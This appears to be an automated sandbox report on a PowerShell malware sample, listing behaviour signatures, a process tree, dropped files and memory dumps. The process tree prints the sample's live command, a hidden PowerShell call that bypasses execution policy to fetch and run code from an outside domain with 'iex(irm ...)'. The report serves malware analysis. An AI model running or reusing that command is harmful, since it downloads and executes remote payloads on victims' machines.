Analysis
- max time kernel
149s - max time network
149s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
10/05/2026, 08:53
General
- Target ps.ps1
- Size 120B
- Sample260510-ktfxaact81
- SHA256 27984f24969cdafc6c2eadce6668bc0dba993b090d9b008ae1c92bc7ba952069
Malware Config
Signatures
- Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Using powershell.exe command.
- Executes dropped EXE 5 IoCs
- Loads dropped DLL 2 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious behavior: LoadsDriver 2 IoCs
- Suspicious behavior: MapViewOfSection 2 IoCs
- Suspicious use of AdjustPrivilegeToken 25 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\ps.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "Start-Process -WindowStyle Hidden powershell -Args '-ExecutionPolicy Bypass -c iex(irm jensydesign.com)'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -c iex(irm jensydesign.com)3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\tbslmc7_ca_upd_ilc\psl.exe"C:\Users\Admin\AppData\Local\tbslmc7_ca_upd_ilc\psl.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Windows\Temp\xkpsm.sysC:\Windows\Temp\xkpsm.sys1⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exe"cmd /c cd /d "C:\Users\Admin\AppData\Roaming\SystemsContrcheck" & "C:\Users\Admin\AppData\Roaming\SystemsContrcheck\psl.exe""1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\SystemsContrcheck\psl.exe"C:\Users\Admin\AppData\Roaming\SystemsContrcheck\psl.exe""2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
PowerShell.exe.log
StartupProfileData-NonInteractive
465d970b2a003702.tmp
__PSScriptPolicyTest_ot1htgoq.gwh.ps1
vochidmur__ptyzuo.zip
libiconv-2.dll
libidn2-0.dll
libintl-8.dll
libpsl-5.dll
libunistring-5.dll
msys-2.0.dll
msys-iconv-2.dll
msys-idn2-0.dll
msys-intl-8.dll
msys-psl-5.dll
msys-unistring-5.dll
psl.exe
xkpsm.sys
memory/2936-148-0x0000000001230000-0x00000000012BC000-memory.dmp
memory/2936-169-0x0000000005C60000-0x0000000005D21000-memory.dmp
memory/2936-149-0x0000000005BE0000-0x0000000005C56000-memory.dmp
memory/2936-150-0x0000000005D30000-0x0000000005DF8000-memory.dmp
memory/2936-151-0x0000000005E00000-0x0000000005E32000-memory.dmp
memory/2936-152-0x0000000006030000-0x000000000607C000-memory.dmp
memory/2936-162-0x00000000060F0000-0x0000000006156000-memory.dmp
memory/2936-166-0x0000000006F80000-0x0000000007012000-memory.dmp
memory/2936-167-0x00000000075D0000-0x0000000007B76000-memory.dmp
memory/2988-58-0x000001B4CBFE0000-0x000001B4CBFF2000-memory.dmp
memory/2988-50-0x000001B4B37C0000-0x000001B4B37CC000-memory.dmp
memory/2988-37-0x000001B4CC5B0000-0x000001B4CC772000-memory.dmp
memory/2988-108-0x000001B4B37C0000-0x000001B4B37CC000-memory.dmp
memory/2988-47-0x000001B4CC010000-0x000001B4CC03A000-memory.dmp
memory/2988-44-0x000001B4CBFB0000-0x000001B4CBFCC000-memory.dmp
memory/2988-48-0x000001B4CC010000-0x000001B4CC034000-memory.dmp
memory/2988-49-0x000001B4CBFB0000-0x000001B4CBFBA000-memory.dmp
memory/2988-51-0x000001B4B3850000-0x000001B4B3858000-memory.dmp
memory/2988-45-0x000001B4CC4E0000-0x000001B4CC593000-memory.dmp
memory/2988-46-0x000001B4CBFD0000-0x000001B4CBFDA000-memory.dmp
memory/2988-52-0x000001B4B3990000-0x000001B4B39A2000-memory.dmp
memory/3212-113-0x0000000000010000-0x0000000000018000-memory.dmp
memory/4144-29-0x0000012B7C470000-0x0000012B7C482000-memory.dmp
memory/4144-9-0x0000012B7CA30000-0x0000012B7CA40000-memory.dmp
memory/4144-8-0x0000012B7C9C0000-0x0000012B7C9E2000-memory.dmp
memory/4144-0-0x0000012B7CA30000-0x0000012B7CA40000-memory.dmp
memory/4144-28-0x0000012B7C460000-0x0000012B7C468000-memory.dmp
memory/4144-27-0x0000012B7AB10000-0x0000012B7AB1C000-memory.dmp
memory/4144-1-0x0000012B7CA30000-0x0000012B7CA40000-memory.dmp
memory/5204-171-0x0000000005110000-0x00000000051D1000-memory.dmp
memory/5204-175-0x0000000005110000-0x00000000051D1000-memory.dmp
memory/5300-156-0x00007FFC752E0000-0x00007FFC754E9000-memory.dmp
memory/5300-158-0x00007FFC75040000-0x00007FFC750EE000-memory.dmp
memory/5300-168-0x00007FF70DD10000-0x00007FF70DD25000-memory.dmp
memory/5300-159-0x00007FFC73C50000-0x00007FFC73DEA000-memory.dmp
memory/5300-157-0x00007FFC738B0000-0x00007FFC7396D000-memory.dmp
memory/5300-160-0x00007FFC741C0000-0x00007FFC74538000-memory.dmp
memory/5568-153-0x00007FF77B170000-0x00007FF77B185000-memory.dmp
memory/5568-139-0x00007FFC75040000-0x00007FFC750EE000-memory.dmp
memory/5568-141-0x00007FFC741C0000-0x00007FFC74538000-memory.dmp
memory/5568-138-0x00007FFC738B0000-0x00007FFC7396D000-memory.dmp
memory/5568-137-0x00007FFC752E0000-0x00007FFC754E9000-memory.dmp
memory/5568-140-0x00007FFC73C50000-0x00007FFC73DEA000-memory.dmp
memory/5948-10-0x000002B81EB80000-0x000002B81EB90000-memory.dmp
memory/5948-11-0x000002B81EB80000-0x000002B81EB90000-memory.dmp
memory/5948-18-0x000002B81EB80000-0x000002B81EB90000-memory.dmp
memory/5948-22-0x000002B8064D0000-0x000002B8064D8000-memory.dmp
memory/5948-21-0x000002B806480000-0x000002B80648C000-memory.dmp
memory/5948-23-0x000002B81EB20000-0x000002B81EB32000-memory.dmp